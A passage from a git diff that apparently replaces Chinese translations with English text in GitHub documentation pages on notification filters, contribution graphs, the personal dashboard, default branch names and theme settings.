`reason:team-mention` | When a team you're a member of is @mentioned. +| `reason:ci-activity` | When a repository has a CI update, such as a new workflow run status. {% ifversion fpt or ghec %} -### 支持的 `author:` 查询 +### Supported `author:` queries -要按用户过滤通知，您可以使用 `author:` 查询。 作者是指与通知相关的线程（议题、拉取请求、Gist、讨论等）的原作者。 例如，要查看与 Octocat 用户创建的线程相关的通知，请使用 `author:octocat`。 +To filter notifications by user, you can use the `author:` query. An author is the original author of the thread (issue, pull request, gist, discussions, and so on) for which you are being notified. For example, to see notifications for threads created by the Octocat user, use `author:octocat`. -### 支持的 `org:` 查询 +### Supported `org:` queries -要按组织过滤通知，您可以使用 `org` 查询。 您需要在查询中指定的组织是与您在 {% data variables.product.prodname_dotcom %} 上收到的通知相关之仓库所属的组织。 如果您属于多个组织，并且想要查看特定组织的通知，则此查询很有用。 +To filter notifications by organization, you can use the `org` query. The organization you need to specify in the query is the organization of the repository for which you are being notified on {% data variables.product.prodname_dotcom %}. This query is useful if you belong to several organizations, and want to see notifications for a specific organization. -例如，要查看来自 octo-org 组织的通知，请使用 `org:octo-org`。 +For example, to see notifications from the octo-org organization, use `org:octo-org`. {% endif %} {% ifversion fpt or ghes or ghae-issue-4864 or ghec %} -## {% data variables.product.prodname_dependabot %} 自定义过滤器 +## {% data variables.product.prodname_dependabot %} custom filters {% ifversion fpt or ghec or ghes > 3.2 %} -如果您使用 {% data variables.product.prodname_dependabot %} 来保持依赖项更新，您可以使用并保存这些自定义过滤器： -- `is:repository_vulnerability_alert`，显示 {% data variables.product.prodname_dependabot_alerts %} 的通知。 -- `reason:security_alert`，显示 {% data variables.product.prodname_dependabot_alerts %} 的通知和安全更新拉取请求。 -- `author:app/dependabot`，显示 {% data variables.product.prodname_dependabot %} 生成的通知。 这包括 {% data variables.product.prodname_dependabot_alerts %}、安全更新拉取请求和版本更新拉取请求。 +If you use {% data variables.product.prodname_dependabot %} to keep your dependencies up-to-date, you can use and save these custom filters: +- `is:repository_vulnerability_alert` to show notifications for {% data variables.product.prodname_dependabot_alerts %}. +- `reason:security_alert` to show notifications for {% data variables.product.prodname_dependabot_alerts %} and security update pull requests. +- `author:app/dependabot` to show notifications generated by {% data variables.product.prodname_dependabot %}. This includes {% data variables.product.prodname_dependabot_alerts %}, security update pull requests, and version update pull requests. -有关 {% data variables.product.prodname_dependabot %} 的更多信息，请参阅“[关于管理有漏洞的依赖项](/github/managing-security-vulnerabilities/about-managing-vulnerable-dependencies)”。 +For more information about {% data variables.product.prodname_dependabot %}, see "[About managing vulnerable dependencies](/github/managing-security-vulnerabilities/about-managing-vulnerable-dependencies)." {% endif %} {% ifversion ghes < 3.3 or ghae-issue-4864 %} If you use {% data variables.product.prodname_dependabot %} to tell you about vulnerable dependencies, you can use and save these custom filters to show notifications for {% data variables.product.prodname_dependabot_alerts %}: -- `is:repository_vulnerability_alert` +- `is:repository_vulnerability_alert` - `reason:security_alert` -有关 {% data variables.product.prodname_dependabot %} 的更多信息，请参阅“[关于有漏洞依赖项的警报](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)”。 +For more information about {% data variables.product.prodname_dependabot %}, see "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)." {% endif %} {% endif %} diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile.md index 15dfafb6b2..47c7e5a660 100644 --- a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile.md +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile.md @@ -1,6 +1,6 @@ --- title: Sending enterprise contributions to your GitHub.com profile -intro: '通过将贡献计数发送到您的 {% data variables.product.prodname_dotcom_the_website %} 配置文件，可在 {% data variables.product.prodname_enterprise %} 上突出显示您的作品。' +intro: 'You can highlight your work on {% data variables.product.prodname_enterprise %} by sending the contribution counts to your {% data variables.product.prodname_dotcom_the_website %} profile.' redirect_from: - /articles/sending-your-github-enterprise-contributions-to-your-github-com-profile/ - /articles/sending-your-github-enterprise-server-contributions-to-your-github-com-profile @@ -19,16 +19,16 @@ shortTitle: Send enterprise contributions ## About enterprise contributions on your {% data variables.product.prodname_dotcom_the_website %} profile -Your {% data variables.product.prodname_dotcom_the_website %} profile shows {% ifversion fpt or ghec %}{% data variables.product.prodname_ghe_server %}{% ifversion ghae-next %} or {% data variables.product.prodname_ghe_managed %}{% endif %}{% else %}{% data variables.product.product_name %}{% endif %} contribution counts from the past 90 days. {% data reusables.github-connect.sync-frequency %} 来自 {% data variables.product.prodname_enterprise %} 的贡献计数被视为私有贡献。 The commit details will only show the contribution counts and that these contributions were made in a {% data variables.product.prodname_enterprise %} environment outside of {% data variables.product.prodname_dotcom_the_website %}. +Your {% data variables.product.prodname_dotcom_the_website %} profile shows {% ifversion fpt or ghec %}{% data variables.product.prodname_ghe_server %}{% ifversion ghae-next %} or {% data variables.product.prodname_ghe_managed %}{% endif %}{% else %}{% data variables.product.product_name %}{% endif %} contribution counts from the past 90 days. {% data reusables.github-connect.sync-frequency %} Contribution counts from {% data variables.product.prodname_enterprise %} are considered private contributions. The commit details will only show the contribution counts and that these contributions were made in a {% data variables.product.prodname_enterprise %} environment outside of {% data variables.product.prodname_dotcom_the_website %}. -You can decide whether to show counts for private contributions on your profile. 更多信息请参阅“[在配置文件中公开或隐藏私有贡献](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile/)”。 +You can decide whether to show counts for private contributions on your profile. For more information, see "[Publicizing or hiding your private contributions on your profile](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile/)." -有关如何计算贡献的更多详细，请参阅“[管理您的配置文件中的贡献图](/articles/managing-contribution-graphs-on-your-profile/)”。 +For more information about how contributions are calculated, see "[Managing contribution graphs on your profile](/articles/managing-contribution-graphs-on-your-profile/)." {% note %} -**注意：** -- 帐户之间的连接受 GitHub 的隐私声明约束，用户允许连接即表示同意 GitHub 的服务条款。 +**Notes:** +- The connection between your accounts is governed by GitHub's Privacy Statement and users enabling the connection agree to the GitHub's Terms of Service. - Before you can connect your {% ifversion fpt or ghec %}{% data variables.product.prodname_ghe_server %}{% ifversion ghae-next %} or {% data variables.product.prodname_ghe_managed %}{% endif %}{% else %}{% data variables.product.product_name %}{% endif %} profile to your {% data variables.product.prodname_dotcom_the_website %} profile, your enterprise owner must enable {% data variables.product.prodname_github_connect %} and enable contribution sharing between the environments. For more information, contact your enterprise owner. @@ -46,16 +46,19 @@ You can decide whether to show counts for private contributions on your profile. {% elsif ghes %} 1. Sign in to {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_dotcom_the_website %}. -1. On {% data variables.product.prodname_ghe_server %}, in the upper-right corner of any page, click your profile photo, then click **Settings**. ![用户栏中的 Settings 图标](/assets/images/help/settings/userbar-account-settings.png) +1. On {% data variables.product.prodname_ghe_server %}, in the upper-right corner of any page, click your profile photo, then click **Settings**. + ![Settings icon in the user bar](/assets/images/help/settings/userbar-account-settings.png) {% data reusables.github-connect.github-connect-tab-user-settings %} {% data reusables.github-connect.connect-dotcom-and-enterprise %} -1. 查看 {% data variables.product.prodname_ghe_server %} 将从您的 {% data variables.product.prodname_dotcom_the_website %} 帐户访问的资源，然后单击 **Authorize（授权）**。 ![授权 GitHub Enterprise Server 与 GitHub.com 之间的连接](/assets/images/help/settings/authorize-ghe-to-connect-to-dotcom.png) +1. Review the resources that {% data variables.product.prodname_ghe_server %} will access from your {% data variables.product.prodname_dotcom_the_website %} account, then click **Authorize**. + ![Authorize connection between GitHub Enterprise Server and GitHub.com](/assets/images/help/settings/authorize-ghe-to-connect-to-dotcom.png) {% data reusables.github-connect.send-contribution-counts-to-githubcom %} {% elsif ghae %} 1. Sign in to {% data variables.product.prodname_ghe_managed %} and {% data variables.product.prodname_dotcom_the_website %}. -1. On {% data variables.product.prodname_ghe_managed %}, in the upper-right corner of any page, click your profile photo, then click **Settings**. ![用户栏中的 Settings 图标](/assets/images/help/settings/userbar-account-settings.png) +1. On {% data variables.product.prodname_ghe_managed %}, in the upper-right corner of any page, click your profile photo, then click **Settings**. + ![Settings icon in the user bar](/assets/images/help/settings/userbar-account-settings.png) {% data reusables.github-connect.github-connect-tab-user-settings %} {% data reusables.github-connect.connect-dotcom-and-enterprise %} {% data reusables.github-connect.authorize-connection %} diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile.md index a190629a34..75796df81d 100644 --- a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile.md +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile.md @@ -1,6 +1,6 @@ --- -title: 在个人资料中查看贡献 -intro: '您的 {% data variables.product.product_name %} 个人资料突出显示{% ifversion fpt or ghes or ghec %}您置顶的仓库以及{% endif %}过去一年的仓库贡献图。' +title: Viewing contributions on your profile +intro: 'Your {% data variables.product.product_name %} profile shows off {% ifversion fpt or ghes or ghec %}your pinned repositories as well as{% endif %} a graph of your repository contributions over the past year.' redirect_from: - /articles/viewing-contributions/ - /articles/viewing-contributions-on-your-profile-page/ @@ -14,92 +14,91 @@ versions: ghec: '*' topics: - Profiles -shortTitle: 查看贡献 +shortTitle: View contributions --- - -{% ifversion fpt or ghes or ghec %}您的贡献图显示公共仓库的活动。 {% endif %}您可以选择显示{% ifversion fpt or ghes or ghec %}公共和{% endif %}私有仓库的活动，并将私有仓库中活动的具体详细信息匿名化。 更多信息请参阅“[在个人资料中公开或隐藏私有贡献](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)”。 +{% ifversion fpt or ghes or ghec %}Your contribution graph shows activity from public repositories. {% endif %}You can choose to show activity from {% ifversion fpt or ghes or ghec %}both public and {% endif %}private repositories, with specific details of your activity in private repositories anonymized. For more information, see "[Publicizing or hiding your private contributions on your profile](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)." {% note %} -**注：**仅当您用于创作提交的电子邮件地址与您在 {% data variables.product.product_name %} 上的帐户相连时，提交才会显示在您的贡献图中。 更多信息请参阅“[为什么我的贡献没有在我的个人资料中显示？](/articles/why-are-my-contributions-not-showing-up-on-my-profile#your-local-git-commit-email-isnt-connected-to-your-account)” +**Note:** Commits will only appear on your contributions graph if the email address you used to author the commits is connected to your account on {% data variables.product.product_name %}. For more information, see "[Why are my contributions not showing up on my profile?](/articles/why-are-my-contributions-not-showing-up-on-my-profile#your-local-git-commit-email-isnt-connected-to-your-account)" {% endnote %} -## 计为贡献的内容 +## What counts as a contribution -在您的个人资料页面上，某些操作计为贡献： +On your profile page, certain actions count as contributions: -- 提交到仓库的默认分支或 `gh-pages` 分支 -- 打开议题 -- 打开讨论 -- 回答讨论 -- 提议拉取请求 -- 提交拉取请求审查{% ifversion ghes or ghae %} -- 合作创作仓库默认分支或 `gh-pages` 分支中的提交{% endif %} +- Committing to a repository's default branch or `gh-pages` branch +- Opening an issue +- Opening a discussion +- Answering a discussion +- Proposing a pull request +- Submitting a pull request review{% ifversion ghes or ghae %} +- Co-authoring commits in a repository's default branch or `gh-pages` branch{% endif %} {% data reusables.pull_requests.pull_request_merges_and_contributions %} -## 受欢迎的仓库 +## Popular repositories -此部分显示具有最多查看者的仓库。 {% ifversion fpt or ghes or ghec %}一旦您[在个人资料置顶仓库](/articles/pinning-repositories-to-your-profile)，此部分将更改为“置顶的仓库”。{% endif %} +This section displays your repositories with the most watchers. {% ifversion fpt or ghes or ghec %}Once you [pin repositories to your profile](/articles/pinning-repositories-to-your-profile), this section will change to "Pinned repositories."{% endif %} -![受欢迎的仓库](/assets/images/help/profile/profile_popular_repositories.png) +![Popular repositories](/assets/images/help/profile/profile_popular_repositories.png) {% ifversion fpt or ghes or ghec %} -## 固定的仓库 +## Pinned repositories -此部分显示最多六个公共仓库，并可包括您的仓库以及您对其做出贡献的仓库。 为便于查看关于您选择提供的仓库的重要详细信息，此部分中的每个仓库均包括所进行工作的摘要、仓库已收到的[星号](/articles/saving-repositories-with-stars/)数量以及仓库中使用的主要编程语言。 更多信息请参阅“[将仓库固定到个人资料](/articles/pinning-repositories-to-your-profile)”。 +This section displays up to six public repositories and can include your repositories as well as repositories you've contributed to. To easily see important details about the repositories you've chosen to feature, each repository in this section includes a summary of the work being done, the number of [stars](/articles/saving-repositories-with-stars/) the repository has received, and the main programming language used in the repository. For more information, see "[Pinning repositories to your profile](/articles/pinning-repositories-to-your-profile)." -![固定的仓库](/assets/images/help/profile/profile_pinned_repositories.png) +![Pinned repositories](/assets/images/help/profile/profile_pinned_repositories.png) {% endif %} -## 贡献日历 +## Contributions calendar -您的贡献日历会显示贡献活动。 +Your contributions calendar shows your contribution activity. -### 查看特定时间的贡献 +### Viewing contributions from specific times -- 单击某个日期的方块可显示该 24 小时期间内所做的贡献。 -- 按 *Shift* 并单击任意日期的方块可显示该时间范围内所做的贡献。 +- Click on a day's square to show the contributions made during that 24-hour period. +- Press *Shift* and click on another day's square to show contributions made during that time span. {% note %} -**注：**您可以在贡献日历中选择最多一个月的范围。 如果您选择更大的时间范围，我们将仅显示一个月的贡献。 +**Note:** You can select up to a one-month range on your contributions calendar. If you select a larger time span, we will only display one month of contributions. {% endnote %} -![您的贡献图](/assets/images/help/profile/contributions_graph.png) +![Your contributions graph](/assets/images/help/profile/contributions_graph.png) -### 如何计算贡献事件时间 +### How contribution event times are calculated -对于提交和拉取请求，时间戳的计算方式不同： -- **提交**使用提交时间戳中的时区信息。 更多信息请参阅“[对时间表上的提交进行故障排除](/articles/troubleshooting-commits-on-your-timeline)”。 -- 在 {% data variables.product.product_name %} 上打开的**拉取请求**和**议题**使用浏览器的时区。 通过 API 打开的内容使用 [API 调用中指定的](https://developer.github.com/changes/2014-03-04-timezone-handling-changes)时间戳或时区。 +Timestamps are calculated differently for commits and pull requests: +- **Commits** use the time zone information in the commit timestamp. For more information, see "[Troubleshooting commits on your timeline](/articles/troubleshooting-commits-on-your-timeline)." +- **Pull requests** and **issues** opened on {% data variables.product.product_name %} use your browser's time zone. Those opened via the API use the timestamp or time zone [specified in the API call](https://developer.github.com/changes/2014-03-04-timezone-handling-changes). -## 活动概览 +## Activity overview -{% data reusables.profile.activity-overview-summary %} 更多信息请参阅“[在个人资料中显示活动概览](/articles/showing-an-overview-of-your-activity-on-your-profile)”。 +{% data reusables.profile.activity-overview-summary %} For more information, see "[Showing an overview of your activity on your profile](/articles/showing-an-overview-of-your-activity-on-your-profile)." -![个人资料中的活动概览部分](/assets/images/help/profile/activity-overview-section.png) +![Activity overview section on profile](/assets/images/help/profile/activity-overview-section.png) -活动概览中提供的组织根据您在组织中的活跃程度确定优先级。 如果您在个人资料简历中@提及某个组织，并且您是组织成员，则该组织首先在活动概览中确定优先级。 更多信息请参阅“[提及人员和团队](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)”或“[将个人简历添加到个人资料](/articles/adding-a-bio-to-your-profile/)”。 +The organizations featured in the activity overview are prioritized according to how active you are in the organization. If you @mention an organization in your profile bio, and you’re an organization member, then that organization is prioritized first in the activity overview. For more information, see "[Mentioning people and teams](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)" or "[Adding a bio to your profile](/articles/adding-a-bio-to-your-profile/)." -## 贡献活动 +## Contribution activity -贡献活动部分包括工作的详细时间表，包括您进行或合作的提交、您提议的拉取请求以及您打开的议题。 您可通过单击贡献活动底部的 **Show more activity（显示更多活动）**或通过在查看页面右侧时单击您感兴趣的年份来查看一段时间内您的贡献。 重要时刻（如您加入组织、提议第一个拉取请求或打开一个备受瞩目议题的日期）将在贡献活动中突出显示。 如果您在时间表中无法看到某些事件，请检查以确保您仍具有事件发生位置组织或仓库的访问权限。 +The contribution activity section includes a detailed timeline of your work, including commits you've made or co-authored, pull requests you've proposed, and issues you've opened. You can see your contributions over time by either clicking **Show more activity** at the bottom of your contribution activity or by clicking the year you're interested in viewing on the right side of the page. Important moments, like the date you joined an organization, proposed your first pull request, or opened a high-profile issue, are highlighted in your contribution activity. If you can't see certain events in your timeline, check to make sure you still have access to the organization or repository where the event happened. -![贡献活动时间过滤器](/assets/images/help/profile/contributions_activity_time_filter.png) +![Contribution activity time filter](/assets/images/help/profile/contributions_activity_time_filter.png) {% ifversion fpt or ghes or ghae-next or ghec %} -## 在 {% data variables.product.prodname_dotcom_the_website %} 上查看 {% data variables.product.prodname_enterprise %}的贡献 +## Viewing contributions from {% data variables.product.prodname_enterprise %} on {% data variables.product.prodname_dotcom_the_website %} -如果您使用 {% ifversion fpt or ghec %}{% data variables.product.prodname_ghe_server %}{% ifversion ghae-next %} 或 {% data variables.product.prodname_ghe_managed %}{% endif %}{% else %}{% data variables.product.product_name %}{% endif %} 并且您的企业所有者启用 {% data variables.product.prodname_unified_contributions %}， 您可以从您的 {% data variables.product.prodname_dotcom_the_website %} 个人资料发送企业贡献计数。 更多信息请参阅“[将企业贡献发送到 {% data variables.product.prodname_dotcom_the_website %} 个人资料](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile)”。 +If you use {% ifversion fpt or ghec %}{% data variables.product.prodname_ghe_server %}{% ifversion ghae-next %} or {% data variables.product.prodname_ghe_managed %}{% endif %}{% else %}{% data variables.product.product_name %}{% endif %} and your enterprise owner enables {% data variables.product.prodname_unified_contributions %}, you can send enterprise contribution counts from to your {% data variables.product.prodname_dotcom_the_website %} profile. For more information, see "[Sending enterprise contributions to your {% data variables.product.prodname_dotcom_the_website %} profile](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile)." {% endif %} -## 延伸阅读 +## Further reading -- "[在个人资料页面中查看贡献](/articles/viewing-contributions-on-your-profile-page)" +- "[Viewing contributions on your profile page](/articles/viewing-contributions-on-your-profile-page)" diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard.md index e45c33f1eb..0eb7cae0e9 100644 --- a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard.md +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard.md @@ -1,12 +1,12 @@ --- -title: 关于个人仪表板 +title: About your personal dashboard redirect_from: - /hidden/about-improved-navigation-to-commonly-accessed-pages-on-github/ - /articles/opting-into-the-public-beta-for-a-new-dashboard/ - /articles/about-your-personal-dashboard - /github/setting-up-and-managing-your-github-user-account/about-your-personal-dashboard - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard -intro: 您可以访问个人仪表板，以跟踪您参与或关注的议题和拉取请求，浏览常用仓库和团队页面，了解您订阅的组织和仓库中近期活动的最新信息，以及探索推荐的仓库。 +intro: 'You can visit your personal dashboard to keep track of issues and pull requests you''re working on or following, navigate to your top repositories and team pages, stay updated on recent activities in organizations and repositories you''re subscribed to, and explore recommended repositories.' versions: fpt: '*' ghes: '*' @@ -14,50 +14,49 @@ versions: ghec: '*' topics: - Accounts -shortTitle: 您的个人控制板 +shortTitle: Your personal dashboard --- +## Accessing your personal dashboard -## 访问个人仪表板 +Your personal dashboard is the first page you'll see when you sign in on {% data variables.product.product_name %}. -个人仪表板是登录 {% data variables.product.product_name %} 时显示的第一页。 +To access your personal dashboard once you're signed in, click the {% octicon "mark-github" aria-label="The github octocat logo" %} in the upper-left corner of any page on {% data variables.product.product_name %}. -登录后要访问个人仪表板，请单击 {% data variables.product.product_name %} 上任何页面左上角的 {% octicon "mark-github" aria-label="The github octocat logo" %}。 +## Finding your recent activity -## 查找近期活动 - -在消息馈送的“Recent activity（最近活动）”部分，您可以快速找到并跟进最近更新的议题和您正在处理的拉取请求。 在“Recent activity（最近活动）”下，您可以预览过去两周内的最多 12 次最近更新。 +In the "Recent activity" section of your news feed, you can quickly find and follow up with recently updated issues and pull requests you're working on. Under "Recent activity", you can preview up to 12 recent updates made in the last two weeks. {% data reusables.dashboard.recent-activity-qualifying-events %} -## 查找常用仓库和团队 +## Finding your top repositories and teams -在仪表板的左侧栏中，可以访问常用仓库和团队。 +In the left sidebar of your dashboard, you can access the top repositories and teams you use. -![不同组织中的仓库和团队列表](/assets/images/help/dashboard/repositories-and-teams-from-personal-dashboard.png) +![list of repositories and teams from different organizations](/assets/images/help/dashboard/repositories-and-teams-from-personal-dashboard.png) -常用仓库列表自动生成，可以包括您与之交互的任何仓库，无论它是否由您的帐户直接拥有。 交互包括提交和打开或评论议题和拉取请求。 常用仓库列表无法编辑，但其中的仓库将在您最后一次与之交互 4 个月后从列表中删除。 +The list of top repositories is automatically generated, and can include any repository you have interacted with, whether it's owned directly by your account or not. Interactions include making commits and opening or commenting on issues and pull requests. The list of top repositories cannot be edited, but repositories will drop off the list 4 months after you last interacted with them. -您也可以点击 {% data variables.product.product_name %} 上任何页面顶部的搜索栏，查找近期访问过的仓库、团队及项目板列表。 +You can also find a list of your recently visited repositories, teams, and project boards when you click into the search bar at the top of any page on {% data variables.product.product_name %}. -## 了解社区中活动的最新信息 +## Staying updated with activity from the community -在消息馈送的“All activity（所有活动）”部分，您可以查看订阅的仓库的更新以及您关注的人员。 “All activity（所有活动）”部分显示您关注或标星的仓库以及您关注的用户的更新。 +In the "All activity" section of your news feed, you can view updates from repositories you're subscribed to and people you follow. The "All activity" section shows updates from repositories you watch or have starred, and from users you follow. -当您关注的用户执行以下操作时，您会在消息馈送中看到更新： -- 对仓库标星。 -- 关注其他用户。{% ifversion fpt or ghes or ghec %} -- 创建公共仓库。{% endif %} -- 在您关注的仓库上打开具有“需要帮助”或“良好的第一个议题”标签的议题或拉取请求。 -- 推送提交到您关注的仓库。{% ifversion fpt or ghes or ghec %} -- 复刻公共仓库。{% endif %} +You'll see updates in your news feed when a user you follow: +- Stars a repository. +- Follows another user.{% ifversion fpt or ghes or ghec %} +- Creates a public repository.{% endif %} +- Opens an issue or pull request with "help wanted" or "good first issue" label on a repository you're watching. +- Pushes commits to a repository you watch.{% ifversion fpt or ghes or ghec %} +- Forks a public repository.{% endif %} - Publishes a new release. -有关对仓库标星和关注人员的更多信息，请参阅“[使用星标保存仓库](/articles/saving-repositories-with-stars/)" and "[关注人员](/articles/following-people)”。 +For more information about starring repositories and following people, see "[Saving repositories with stars](/articles/saving-repositories-with-stars/)" and "[Following people](/articles/following-people)." -## 探索推荐的仓库 +## Exploring recommended repositories -在仪表板右侧的“Explore repositories（浏览仓库）”部分，您可以浏览社区中推荐的仓库。 建议基于您已经标星或访问过的仓库、您关注的人以及您可以访问的仓库中的活动。{% ifversion fpt or ghec %} 更多信息请参阅“[寻找在 {% data variables.product.prodname_dotcom %} 上参与开源项目的方法](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)”。{% endif %} +In the "Explore repositories" section on the right side of your dashboard, you can explore recommended repositories in your communities. Recommendations are based on repositories you've starred or visited, the people you follow, and activity within repositories that you have access to.{% ifversion fpt or ghec %} For more information, see "[Finding ways to contribute to open source on {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)."{% endif %} -## 延伸阅读 +## Further reading -- "[关于组织仪表板](/articles/about-your-organization-dashboard)" +- "[About your organization dashboard](/articles/about-your-organization-dashboard)" diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-the-default-branch-name-for-your-repositories.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-the-default-branch-name-for-your-repositories.md index 0ee03b76b1..9e5c6fc01c 100644 --- a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-the-default-branch-name-for-your-repositories.md +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-the-default-branch-name-for-your-repositories.md @@ -1,5 +1,5 @@ --- -title: 管理仓库的默认分支名称 +title: Managing the default branch name for your repositories intro: 'You can set the default branch name for new repositories that you create on {% data variables.product.product_location %}.' versions: fpt: '*' @@ -11,23 +11,25 @@ topics: redirect_from: - /github/setting-up-and-managing-your-github-user-account/managing-the-default-branch-name-for-your-repositories - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-the-default-branch-name-for-your-repositories -shortTitle: 管理默认分支名称 +shortTitle: Manage default branch name --- +## About management of the default branch name -## About the default branch name +When you create a new repository on {% data variables.product.product_location %}, the repository contains one branch, which is the default branch. You can change the name that {% data variables.product.product_name %} uses for the default branch in new repositories you create. For more information about the default branch, see "[About branches](/github/collaborating-with-issues-and-pull-requests/about-branches#about-the-default-branch)." -当您在 {% data variables.product.product_location %} 上创建一个新仓库时，仓库将包含一个分支，它就是默认分支。 您可以更改 {% data variables.product.product_name %} 用于您新建仓库中默认分支的名称。 有关默认分支的更多信息，请参阅“[关于分支](/github/collaborating-with-issues-and-pull-requests/about-branches#about-the-default-branch)”。 +{% data reusables.branches.change-default-branch %} -{% data reusables.branches.set-default-branch %} - -## 设置默认分支名称 +## Setting the default branch name {% data reusables.user_settings.access_settings %} {% data reusables.user_settings.repo-tab %} -3. 在“Repository default branch（仓库默认分支）”下，单击 **Change default branch name now（立即更改默认分支名称）**。 ![覆盖按钮](/assets/images/help/settings/repo-default-name-button.png) -4. 键入要用于新分支的默认名称。 ![输入默认名称的文本框](/assets/images/help/settings/repo-default-name-text.png) -5. 单击 **Update（更新）**。 ![更新按钮](/assets/images/help/settings/repo-default-name-update.png) +3. Under "Repository default branch", click **Change default branch name now**. + ![Override button](/assets/images/help/settings/repo-default-name-button.png) +4. Type the default name that you would like to use for new branches. + ![Text box for entering default name](/assets/images/help/settings/repo-default-name-text.png) +5. Click **Update**. + ![Update button](/assets/images/help/settings/repo-default-name-update.png) -## 延伸阅读 +## Further reading -- "[管理组织中仓库的默认分支名称](/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization)" +- "[Managing the default branch name for repositories in your organization](/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization)" diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings.md index f7e9937265..ff77342e3d 100644 --- a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings.md +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings.md @@ -1,6 +1,6 @@ --- -title: 管理主题设置 -intro: '通过设置主题首选项以遵循系统设置或始终使用浅色模式或深色模式，您可以管理 {% data variables.product.product_name %} 的外观，' +title: Managing your theme settings +intro: 'You can manage how {% data variables.product.product_name %} looks to you by setting a theme preference that either follows your system settings or always uses a light or dark mode.' versions: fpt: '*' ghae: next @@ -11,36 +11,36 @@ topics: redirect_from: - /github/setting-up-and-managing-your-github-user-account/managing-your-theme-settings - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings -shortTitle: 管理主题设置 +shortTitle: Manage theme settings --- -为了选择和灵活地使用 {% data variables.product.product_name %}，您可以配置主题设置来更改 {% data variables.product.product_name %} 的外观。 您可以在浅色和深色两个主题中进行选择，也可以配置 {% data variables.product.product_name %} 遵循系统设置。 +For choice and flexibility in how and when you use {% data variables.product.product_name %}, you can configure theme settings to change how {% data variables.product.product_name %} looks to you. You can choose from themes that are light or dark, or you can configure {% data variables.product.product_name %} to follow your system settings. -您可能需要使用深色主题来减少某些设备的功耗，以在低光条件下减小眼睛的压力，或者因为您更喜欢主题的外观。 +You may want to use a dark theme to reduce power consumption on certain devices, to reduce eye strain in low-light conditions, or because you prefer how the theme looks. {% ifversion fpt or ghes > 3.2 or ghae-issue-4618 or ghec %}If you have low vision, you may benefit from a high contrast theme, with greater contrast between foreground and background elements.{% endif %}{% ifversion fpt or ghae-issue-4619 or ghec %} If you have colorblindness, you may benefit from our light and dark colorblind themes. {% note %} -**Note:** The colorblind themes are currently in public beta. For more information on enabling features in public beta, see "[Exploring early access releases with feature preview](/get-started/using-github/exploring-early-access-releases-with-feature-preview)." +**Note:** The colorblind themes and light high contrast theme are currently in public beta. For more information on enabling features in public beta, see "[Exploring early access releases with feature preview](/get-started/using-github/exploring-early-access-releases-with-feature-preview)." {% endnote %} {% endif %} {% data reusables.user_settings.access_settings %} -1. 在用户设置侧边栏中，单击 **Appearance（外观）**。 +1. In the user settings sidebar, click **Appearance**. - ![用户设置侧边栏中的"外观"选项卡](/assets/images/help/settings/appearance-tab.png) + !["Appearance" tab in user settings sidebar](/assets/images/help/settings/appearance-tab.png) 1. Under "Theme mode", select the drop-down menu, then click a theme preference. - 